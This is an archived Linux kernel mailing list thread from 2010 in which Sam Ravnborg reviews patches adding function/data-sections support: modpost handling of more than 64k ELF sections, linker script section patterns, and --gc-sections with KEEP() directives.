> 
> * modpost fix for 64k+ sections: linux-2.6.35-rc4-fs.modpost.patch
>   This patch is in -mm, it still not reach mainline...
> 

Some comments below - but noting fundamental.

	Sam

--- linux-2.6.35-rc4/scripts/mod/file2alias.c
+++ linux-2.6.35-rc4-fs.obj1/scripts/mod/file2alias.c
@@ -884,16 +884,16 @@
 	char *zeros = NULL;
 
 	/* We're looking for a section relative symbol */
-	if (!sym->st_shndx || sym->st_shndx >= info->hdr->e_shnum)
+	if (!sym->st_shndx || get_secindex(info, sym) >= info->num_sections)
 		return;
 
 	/* Handle all-NULL symbols allocated into .bss */
-	if (info->sechdrs[sym->st_shndx].sh_type & SHT_NOBITS) {
+	if (info->sechdrs[get_secindex(info, sym)].sh_type & SHT_NOBITS) {
 		zeros = calloc(1, sym->st_size);
 		symval = zeros;
 	} else {
 		symval = (void *)info->hdr
-			+ info->sechdrs[sym->st_shndx].sh_offset
+			+ info->sechdrs[get_secindex(info, sym)].sh_offset
 			+ sym->st_value;
 	}
 
--- linux-2.6.35-rc4/scripts/mod/modpost.c
+++ linux-2.6.35-rc4-fs.obj1/scripts/mod/modpost.c
@@ -253,7 +253,7 @@
 	return export_unknown;
 }
 
-static enum export export_from_sec(struct elf_info *elf, Elf_Section sec)
+static enum export export_from_sec(struct elf_info *elf, unsigned int sec)
 {
 	if (sec == elf->export_sec)
 		return export_plain;
@@ -373,6 +373,8 @@
 	Elf_Ehdr *hdr;
 	Elf_Shdr *sechdrs;
 	Elf_Sym  *sym;
+	const char *secstrings;
+	unsigned int symtab_idx = ~0U, symtab_shndx_idx = ~0U;
 
 	hdr = grab_file(filename, &info->size);
 	if (!hdr) {
@@ -417,8 +419,19 @@
 		return 0;
 	}
 
+	/* Fixup for more than 64k sections */
+	info->num_sections = hdr->e_shnum;
+	if (info->num_sections == 0) { /* more than 64k sections? */
+		/* note: it doesn't need shndx2secindex() */
+		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
+	}
I had to read the above twice to get it.
How about something like this:

	/* Fixup for more than 64k sections */
	if (hdr->e_shnum == 0) {
		/*
		 * There are more than 64k sections,
		 * read count from .sh_size.
		 * note: it doesn't need shndx2secindex()
		 */
		info->num_sections = TO_NATIVE(sechdrs[0].sh_size);
	}
	else {
		info->num_sections = hdr->e_shnum;
	}


+	info->secindex_strings = hdr->e_shstrndx;
+	if (info->secindex_strings == SHN_XINDEX)
+		info->secindex_strings =
+		    shndx2secindex(TO_NATIVE(sechdrs[0].sh_link));

Likewise here...

	/* e_shstrndx == SHN_XINDEX if we have > 64k strings */
	if (hdr->e_shstrndx != SHN_XINDEX)
		info->secindex_strings = hdr->e_shstrndx;
	else
		info->secindex_strings = shndx2secindex(TO_NATIVE(sechdrs[0].sh_link));


 	/* Fix endianness in section headers */
-	for (i = 0; i < hdr->e_shnum; i++) {
+	for (i = 0; i < info->num_sections; i++) {
 		sechdrs[i].sh_name      = TO_NATIVE(sechdrs[i].sh_name);
 		sechdrs[i].sh_type      = TO_NATIVE(sechdrs[i].sh_type);
 		sechdrs[i].sh_flags     = TO_NATIVE(sechdrs[i].sh_flags);
@@ -431,9 +444,8 @@
 		sechdrs[i].sh_entsize   = TO_NATIVE(sechdrs[i].sh_entsize);
 	}
 	/* Find symbol table. */
-	for (i = 1; i < hdr->e_shnum; i++) {
-		const char *secstrings
-			= (void *)hdr + sechdrs[hdr->e_shstrndx].sh_offset;
+	secstrings = (void *)hdr + sechdrs[info->secindex_strings].sh_offset;

Moving this assignnet out of the loop is an unrelated
but welcome change.


+	for (i = 1; i < info->num_sections; i++) {
 		const char *secname;
 		int nobits = sechdrs[i].sh_type == SHT_NOBITS;
 
@@ -461,14 +473,26 @@
 		else if (strcmp(secname, "__ksymtab_gpl_future") == 0)
 			info->export_gpl_future_sec = i;
 
-		if (sechdrs[i].sh_type != SHT_SYMTAB)
-			continue;
+		if (sechdrs[i].sh_type == SHT_SYMTAB) {
+			unsigned int sh_link_idx;
+			symtab_idx = i;
+			info->symtab_start = (void *)hdr +
+			    sechdrs[i].sh_offset;
+			info->symtab_stop  = (void *)hdr +
+			    sechdrs[i].sh_offset + sechdrs[i].sh_size;
+			sh_link_idx = shndx2secindex(sechdrs[i].sh_link);
+			info->strtab       = (void *)hdr +
+			    sechdrs[sh_link_idx].sh_offset;
+		}
 
-		info->symtab_start = (void *)hdr + sechdrs[i].sh_offset;
-		info->symtab_stop  = (void *)hdr + sechdrs[i].sh_offset
-			                         + sechdrs[i].sh_size;
-		info->strtab       = (void *)hdr +
-			             sechdrs[sechdrs[i].sh_link].sh_offset;
+		/* 32bit section no. table? ("more than 64k sections") */
+		if (sechdrs[i].sh_type == SHT_SYMTAB_SHNDX) {
+			symtab_shndx_idx = i;
+			info->symtab_shndx_start = (void *)hdr +
+			    sechdrs[i].sh_offset;
+			info->symtab_shndx_stop  = (void *)hdr +
+			    sechdrs[i].sh_offset + sechdrs[i].sh_size;
+		}
 	}
 	if (!info->symtab_start)
 		fatal("%s has no symtab?\n", filename);
@@ -480,6 +504,21 @@
 		sym->st_value = TO_NATIVE(sym->st_value);
 		sym->st_size  = TO_NATIVE(sym->st_size);
 	}
+
+	if (symtab_shndx_idx != ~0U) {
+		Elf32_Word *p;
+		if (symtab_idx !=
+		    shndx2secindex(sechdrs[symtab_shndx_idx].sh_link))
+			fatal("%s: SYMTAB_SHNDX has bad sh_link: %u!=%u\n",
+			      filename,
+			      shndx2secindex(sechdrs[symtab_shndx_idx].sh_link),
+			      symtab_idx);
+		/* Fix endianness */
+		for (p = info->symtab_shndx_start; p < info->symtab_shndx_stop;
+		     p++)
+			*p = TO_NATIVE(*p);
+	}
+
 	return 1;
 }
 
@@ -514,7 +553,7 @@
 			       Elf_Sym *sym, const char *symname)
 {
 	unsigned int crc;
-	enum export export = export_from_sec(info, sym->st_shndx);
+	enum export export = export_from_sec(info, get_secindex(info, sym));
 
 	switch (sym->st_shndx) {
 	case SHN_COMMON:
@@ -656,19 +695,19 @@
 		return "(unknown)";
 }
 
-static const char *sec_name(struct elf_info *elf, int shndx)
+static const char *sec_name(struct elf_info *elf, int secindex)
 {
 	Elf_Shdr *sechdrs = elf->sechdrs;
 	return (void *)elf->hdr +
-	        elf->sechdrs[elf->hdr->e_shstrndx].sh_offset +
-	        sechdrs[shndx].sh_name;
+		elf->sechdrs[elf->secindex_strings].sh_offset +
+		sechdrs[secindex].sh_name;
 }
 
 static const char *sech_name(struct elf_info *elf, Elf_Shdr *sechdr)
 {
 	return (void *)elf->hdr +
-	        elf->sechdrs[elf->hdr->e_shstrndx].sh_offset +
-	        sechdr->sh_name;
+		elf->sechdrs[elf->secindex_strings].sh_offset +
+		sechdr->sh_name;
 }
 
 /* if sym is empty or point to a string
@@ -1047,11 +1086,14 @@
 	Elf_Sym *near = NULL;
 	Elf64_Sword distance = 20;
 	Elf64_Sword d;
+	unsigned int relsym_secindex;
 
 	if (relsym->st_name != 0)
 		return relsym;
+
+	relsym_secindex = get_secindex(elf, relsym);
 	for (sym = elf->symtab_start; sym < elf->symtab_stop; sym++) {
-		if (sym->st_shndx != relsym->st_shndx)
+		if (get_secindex(elf, sym) != relsym_secindex)
 			continue;
 		if (ELF_ST_TYPE(sym->st_info) == STT_SECTION)
 			continue;
@@ -1113,9 +1155,9 @@
 	for (sym = elf->symtab_start; sym < elf->symtab_stop; sym++) {
 		const char *symsec;
 
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
-		symsec = sec_name(elf, sym->st_shndx);
+		symsec = sec_name(elf, get_secindex(elf, sym));
 		if (strcmp(symsec, sec) != 0)
 			continue;
 		if (!is_valid_name(elf, sym))
@@ -1311,7 +1353,7 @@
 	const char *tosec;
 	const struct sectioncheck *mismatch;
 
-	tosec = sec_name(elf, sym->st_shndx);
+	tosec = sec_name(elf, get_secindex(elf, sym));
 	mismatch = section_mismatch(fromsec, tosec);
 	if (mismatch) {
 		Elf_Sym *to;
@@ -1339,7 +1381,7 @@
 				    Elf_Shdr *sechdr, Elf_Rela *r)
 {
 	Elf_Shdr *sechdrs = elf->sechdrs;
-	int section = sechdr->sh_info;
+	int section = shndx2secindex(sechdr->sh_info);
 
 	return (void *)elf->hdr + sechdrs[section].sh_offset +
 		r->r_offset - sechdrs[section].sh_addr;
@@ -1447,7 +1489,7 @@
 		r.r_addend = TO_NATIVE(rela->r_addend);
 		sym = elf->symtab_start + r_sym;
 		/* Skip special sections */
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
 		check_section_mismatch(modname, elf, &r, sym, fromsec);
 	}
@@ -1505,7 +1547,7 @@
 		}
 		sym = elf->symtab_start + r_sym;
 		/* Skip special sections */
-		if (sym->st_shndx >= SHN_LORESERVE)
+		if (is_shndx_special(sym->st_shndx))
 			continue;
 		check_section_mismatch(modname, elf, &r, sym, fromsec);
 	}
@@ -1530,7 +1572,7 @@
 	Elf_Shdr *sechdrs = elf->sechdrs;
 
 	/* Walk through all sections */
-	for (i = 0; i < elf->hdr->e_shnum; i++) {
+	for (i = 0; i < elf->num_sections; i++) {
 		check_section(modname, elf, &elf->sechdrs[i]);
 		/* We want to process only relocation sections and not .init */
 		if (sechdrs[i].sh_type == SHT_RELA)
--- linux-2.6.35-rc4/scripts/mod/modpost.h
+++ linux-2.6.35-rc4-fs.obj1/scripts/mod/modpost.h
@@ -129,7 +129,50 @@
 	const char   *strtab;
 	char	     *modinfo;
 	unsigned int modinfo_len;
+
+	/* support for 32bit section numbers */
+
+	unsigned int num_sections; /* max_secindex + 1 */
+	unsigned int secindex_strings;
+	/* if Nth symbol table entry has .st_shndx = SHN_XINDEX,
+	 * take shndx from symtab_shndx_start[N] instead */
+	Elf32_Word   *symtab_shndx_start;
+	Elf32_Word   *symtab_shndx_stop;
 };
+
+static inline int is_shndx_special(unsigned int i)
+{
+	return i != SHN_XINDEX && i >= SHN_LORESERVE && i <= SHN_HIRESERVE;
+}
+
+/* shndx is in [0..SHN_LORESERVE) U (SHN_HIRESERVE, 0xfffffff], thus:
+ * shndx == 0               <=> sechdrs[0]
+ * ......
+ * shndx == SHN_LORESERVE-1 <=> sechdrs[SHN_LORESERVE-1]
+ * shndx == SHN_HIRESERVE+1 <=> sechdrs[SHN_LORESERVE]
+ * shndx == SHN_HIRESERVE+2 <=> sechdrs[SHN_LORESERVE+1]
+ * ......
+ * fyi: sym->st_shndx is uint16, SHN_LORESERVE = ff00, SHN_HIRESERVE = ffff,
+ * so basically we map  0000..feff -> 0000..feff
+ *                      ff00..ffff -> (you are a bad boy, dont do it)
+ *                     10000..xxxx -> ff00..(xxxx-0x100)
+ */
+static inline unsigned int shndx2secindex(unsigned int i)
+{
+	if (i <= SHN_HIRESERVE)
+		return i;
+	return i - (SHN_HIRESERVE + 1 - SHN_LORESERVE);
+}
+
+/* Accessor for sym->st_shndx, hides ugliness of "64k sections" */
+static inline unsigned int get_secindex(const struct elf_info *info,
+					const Elf_Sym *sym)
+{
+	if (sym->st_shndx != SHN_XINDEX)
+		return sym->st_shndx;
+	return shndx2secindex(info->symtab_shndx_start[sym -
+						       info->symtab_start]);
+}
 
 /* file2alias.c */
 extern unsigned int cross_build;

From - Thu Nov 08 21:06:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Fri, 23 Jul 2010 22:24:49 +0200
Lines: 133
Approved: news@gmane.org
Message-ID: <20100723202448.GB27054@merkur.ravnborg.org>
References: <201007181703.17022.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1279916697 23574 80.91.229.12 (23 Jul 2010 20:24:57 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Jul 2010 20:24:57 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 23 22:24:54 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1OcOnc-0004Rq-Tl
	for glpp-linux-parisc@lo.gmane.org; Fri, 23 Jul 2010 22:24:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756256Ab0GWUYv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 23 Jul 2010 16:24:51 -0400
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:38479 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753346Ab0GWUYv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 23 Jul 2010 16:24:51 -0400
Original-Received: from merkur.ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id E032EA50020;
	Fri, 23 Jul 2010 22:24:47 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <201007181703.17022.vda.linux@googlemail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2998 gmane.linux.kernel:1013834 gmane.linux.kernel.cross-arch:7145
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2998>

> * fix for kernel linker stripts: linux-2.6.35-rc4-fs.fix-kernel-linker-scripts.patch
>   It makes _all_ linker scripts -ffunction/data-sections safe via:
>   -       *(.data)
>   +       *(.data .data.*)
>   

This patch touches both the regular kernel linker scripts and the
boot linker scripts.
I would strongly prefer a split so you touched the boot linker
scripts in a separate patch.

In addition the patch handles more sections than
documented: rodata, bss, text. 

The patch introduce the following syntax for input sections:

    *(.bss .bss.*)

Where the kernel linker script would have one input
section per line.
Can we stick to the "layout" used in the kernel linker scripts?

The patch in addition in several places changes linker
scripts that already uses the two-lines layout to a single line approach.
These "fixes" should be omitted.


Why do we need *(.bss .bss.*)?
Does -fdata-sections introduce special .bss sectiosn too?

This is the kind of info the changelog should give us.

	Sam


--- linux-2.6.35-rc4/arch/arm/boot/compressed/vmlinux.lds.in
+++ linux-2.6.35-rc4.new/arch/arm/boot/compressed/vmlinux.lds.in
@@ -29,12 +29,10 @@
   .text : {
     _start = .;
     *(.start)
-    *(.text)
-    *(.text.*)
+    *(.text .text.*)
     *(.fixup)
     *(.gnu.warning)
-    *(.rodata)
-    *(.rodata.*)
+    *(.rodata .rodata.*)
     *(.glue_7)
     *(.glue_7t)
     *(.piggydata)

This is one example where the patch only does layout changes.

--- linux-2.6.35-rc4/arch/arm/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4.new/arch/arm/kernel/vmlinux.lds.S
@@ -95,8 +95,7 @@
 			*(.fixup)
 #endif
 			*(.gnu.warning)
-			*(.rodata)
-			*(.rodata.*)
+			*(.rodata .rodata.*)
 			*(.glue_7)
 			*(.glue_7t)

Likewise...

--- linux-2.6.35-rc4/arch/frv/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4.new/arch/frv/kernel/vmlinux.lds.S
@@ -114,7 +114,7 @@
 
   .sbss		: { *(.sbss .sbss.*) }
   .bss		: { *(.bss .bss.*) }
-  .bss..stack	: { *(.bss) }
+  .bss..stack	: { *(.bss) } /* BUG??? we already absorbed it into .bss */

As the comments says the last line is redundant - remove it.

 
--- linux-2.6.35-rc4/include/asm-generic/vmlinux.lds.h
+++ linux-2.6.35-rc4.new/include/asm-generic/vmlinux.lds.h
@@ -140,9 +140,21 @@
 #define TRACE_SYSCALLS()
 #endif
 
+/* .data.foo are generated by gcc itself with -fdata-sections,
+ * whereas double-dot sections (like .data..percpu) are generated
+ * by kernel's magic macros.
+ *
+ * arch/.../vmlinux.lds.S decides where to place various double-dot sections
+ * as needed by its arch, here DATA_DATA needs to be careful and collect
+ * only .data and .data.foo sections, skipping .data..foo
+ *
+ * Same goes for .text, .bss and .rodata. In case of .rodata, various
+ * .rodata.foo sections are generated by gcc even without -fdata-sections
+ */
+
 /* .data section */
 #define DATA_DATA							\
-	*(.data)							\
+	*(.data .data.[A-Za-z0-9_$^]*)					\
 	*(.ref.data)							\
 	DEV_KEEP(init.data)						\
 	DEV_KEEP(exit.data)						\
@@ -202,7 +214,7 @@
 	. = ALIGN((align));						\
 	.rodata           : AT(ADDR(.rodata) - LOAD_OFFSET) {		\
 		VMLINUX_SYMBOL(__start_rodata) = .;			\
-		*(.rodata) *(.rodata.*)					\
+		*(.rodata .rodata.[A-Za-z0-9_$^]*)			\

.rodata deserve same comment as .data

 		*(__vermagic)		/* Kernel version magic */	\
 		*(__markers_strings)	/* Markers: strings */		\
 		*(__tracepoints_strings)/* Tracepoints: strings */	\
@@ -501,7 +513,7 @@
 	.bss : AT(ADDR(.bss) - LOAD_OFFSET) {				\
 		*(.bss..page_aligned)					\
 		*(.dynbss)						\
-		*(.bss)							\
+		*(.bss .bss.[A-Za-z0-9_$^]*)				\
.bss deserve a comment too.


	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Fri, 23 Jul 2010 22:29:46 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20100723202946.GA27288@merkur.ravnborg.org>
References: <201007181703.17022.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1279916995 24522 80.91.229.12 (23 Jul 2010 20:29:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Jul 2010 20:29:55 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jul 23 22:29:50 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OcOsP-0006N9-KH
	for glka-linux-arch@lo.gmane.org; Fri, 23 Jul 2010 22:29:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754118Ab0GWU3s (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 23 Jul 2010 16:29:48 -0400
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:38899 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754029Ab0GWU3r (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 23 Jul 2010 16:29:47 -0400
Original-Received: from merkur.ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id 10580A50025;
	Fri, 23 Jul 2010 22:29:45 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <201007181703.17022.vda.linux@googlemail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7146 gmane.linux.kernel:1013837 gmane.linux.ports.parisc:2999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2999>

> * fix for module linker script: linux-2.6.35-rc4-fs.fix-ko-module-linker-script.patch
>   Prevents kernel modules from having unnecessarily many
>   sections and thus prevents module size growth.

Acked-by: Sam Ravnborg <sam@ravnborg.org>

--- linux-2.6.35-rc4/scripts/module-common.lds
+++ linux-2.6.35-rc4.new/scripts/module-common.lds
@@ -3,6 +3,29 @@
  * Archs are free to supply their own linker scripts.  ld will
  * combine them automatically.
  */
+
+/* .data.foo are generated by gcc itself with -fdata-sections,
+ * whereas double-dot sections (like .data..percpu) are generated
+ * by kernel's magic macros.
+ *
+ * Since this script does not specify what to do with double-dot sections,
+ * ld -r will coalesce all .data..foo input sections into one .data..foo
+ * output section, all .data..bar input sections into one .data..bar
+ * output section and so on. This is exactly what we want.
+ *
+ * Same goes for .text, .bss and .rodata. In case of .rodata, various
+ * .rodata.foo sections are generated by gcc even without -fdata-sections
+ */
+
 SECTIONS {
+
+	/* Coalesce sections produced by gcc -ffunction-sections */
+	.text   0 : AT(0) { *(.text .text.[A-Za-z0-9_$^]*) }
+
+	/* Coalesce sections produced by gcc -fdata-sections */
+	.rodata 0 : AT(0) { *(.rodata .rodata.[A-Za-z0-9_$^]*) }
+	.data   0 : AT(0) { *(.data .data.[A-Za-z0-9_$^]*) }
+	.bss    0 : AT(0) { *(.bss .bss.[A-Za-z0-9_$^]*) }
+
 	/DISCARD/ : { *(.discard) }
 }

From - Thu Nov 08 21:06:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Testing of function/data-sections on linux-2.6.35-rc4
Date: Fri, 23 Jul 2010 22:35:43 +0200
Lines: 519
Approved: news@gmane.org
Message-ID: <20100723203543.GB27288@merkur.ravnborg.org>
References: <201007181703.17022.vda.linux@googlemail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1279917370 25965 80.91.229.12 (23 Jul 2010 20:36:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 23 Jul 2010 20:36:10 +0000 (UTC)
Cc: Tim Abbott <tabbott@ksplice.com>, Tim Bird <tim.bird@am.sony.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel@vger.kernel.org,
	Matt Fleming <matt@console-pimps.org>,
	linux-arch@vger.kernel.org, Arnd Bergmann <arnd@arndb.de>,
	Michal Marek <mmarek@suse.cz>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Denys Vlasenko <vda.linux@googlemail.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jul 23 22:36:07 2010
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1OcOyT-0000kd-Jo
	for glka-linux-arch@lo.gmane.org; Fri, 23 Jul 2010 22:36:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752911Ab0GWUfq (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 23 Jul 2010 16:35:46 -0400
Original-Received: from pfepa.post.tele.dk ([195.41.46.235]:39506 "EHLO
	pfepa.post.tele.dk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752429Ab0GWUfp (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 23 Jul 2010 16:35:45 -0400
Original-Received: from merkur.ravnborg.org (x1-6-00-1e-2a-84-ae-3e.k225.webspeed.dk [80.163.61.94])
	by pfepa.post.tele.dk (Postfix) with ESMTP id 4CEE3A50020;
	Fri, 23 Jul 2010 22:35:42 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <201007181703.17022.vda.linux@googlemail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:7147 gmane.linux.kernel:1013838 gmane.linux.ports.parisc:3000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3000>

> 
> Then, in order to also garbage-collect the sections, I added
> 
> LDFLAGS_vmlinux += --gc-sections
> 
> in top-level Makefile.
> 
> This requires the additional patch (linux-2.6.35-rc4-fsgs.patch)
> which adds KEEP(section) directives to kernel linker stripts.
> Otherwise, linker will discard some crucial sections.
> 

Changelog does not address why you need:

     -Map $@.ldmap

and what effect they have.

And it is obvious that some archs should consolidate a little more from
asm-generic/vmlinux.lds.h.
But that said this patch looks much better than the initial versions posted.

How do you determine which sections needs the KEEP()?
Worth documenting for future when we add new sections.

	Sam


--- linux-2.6.35-rc4.fs/Makefile
+++ linux-2.6.35-rc4-fsgs.obj/Makefile
@@ -610,6 +610,8 @@
 LDFLAGS_vmlinux	+= $(call ld-option, -X,)
 endif
 
+LDFLAGS_vmlinux += --gc-sections
+
 # Default kernel image to build when no specific target is given.
 # KBUILD_IMAGE may be overruled on the command line or
 # set in the environment
@@ -705,7 +707,7 @@
 # Rule to link vmlinux - also used during CONFIG_KALLSYMS
 # May be overridden by arch/$(ARCH)/Makefile
 quiet_cmd_vmlinux__ ?= LD      $@
-      cmd_vmlinux__ ?= $(LD) $(LDFLAGS) $(LDFLAGS_vmlinux) -o $@ \
+      cmd_vmlinux__ ?= $(LD) $(LDFLAGS) $(LDFLAGS_vmlinux) -o $@ -Map $@.ldmap \
       -T $(vmlinux-lds) $(vmlinux-init)                          \
       --start-group $(vmlinux-main) --end-group                  \
       $(filter-out $(vmlinux-lds) $(vmlinux-init) $(vmlinux-main) vmlinux.o FORCE ,$^)
--- linux-2.6.35-rc4.fs/arch/arm/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/arm/kernel/vmlinux.lds.S
@@ -157,7 +157,7 @@
 		. = ALIGN(32);
 		__start___ex_table = .;
 #ifdef CONFIG_MMU
-		*(__ex_table)
+		KEEP(*(__ex_table))
 #endif
 		__stop___ex_table = .;
 
--- linux-2.6.35-rc4.fs/arch/blackfin/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/blackfin/kernel/vmlinux.lds.S
@@ -51,7 +51,7 @@
 
 		. = ALIGN(16);
 		___start___ex_table = .;
-		*(__ex_table)
+		KEEP(*(__ex_table))
 		___stop___ex_table = .;
 
 		__etext = .;
--- linux-2.6.35-rc4.fs/arch/cris/boot/rescue/rescue_v32.lds
+++ linux-2.6.35-rc4-fsgs.obj/arch/cris/boot/rescue/rescue_v32.lds
@@ -36,7 +36,7 @@
 	/* Get rid of stuff from EXPORT_SYMBOL(foo). */
 	/DISCARD/ :
 	{
-	        *(__ksymtab_strings)
-	        *(__ksymtab)
+		KEEP(*(__ksymtab_strings))
+		*(__ksymtab)
 	}
 }
--- linux-2.6.35-rc4.fs/arch/cris/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/cris/kernel/vmlinux.lds.S
@@ -72,7 +72,7 @@
 	.init.setup : { INIT_SETUP(16) }
 #ifdef CONFIG_ETRAX_ARCH_V32
 	__start___param = .;
-	__param : { *(__param) }
+	__param : { KEEP(*(__param)) }
 	__stop___param = .;
 #endif
 	.initcall.init : {
@@ -88,7 +88,7 @@
 #ifdef CONFIG_BLK_DEV_INITRD
 	.init.ramfs : {
 		__initramfs_start = .;
-		*(.init.ramfs)
+		KEEP(*(.init.ramfs))
 		__initramfs_end = .;
 	}
 #endif
--- linux-2.6.35-rc4.fs/arch/h8300/kernel/vmlinux.lds.S
+++ linux-2.6.35-rc4-fsgs.obj/arch/h8300/kernel/vmlinux.lds.S
@@ -112,7 +112,7 @@
 	. = ALIGN(0x4) ;
 	INIT_SETUP(0x4)
 	___setup_start = .;
-		*(.init.setup)
+		KEEP(*(.init.setup))
 	. = ALIGN(0x4) ;
 	___setup_end = .;
 	INIT_CALLS
--- linux-2.6.35-rc4.fs/arch/m68knommu/kernel/vmlinux.lds.S
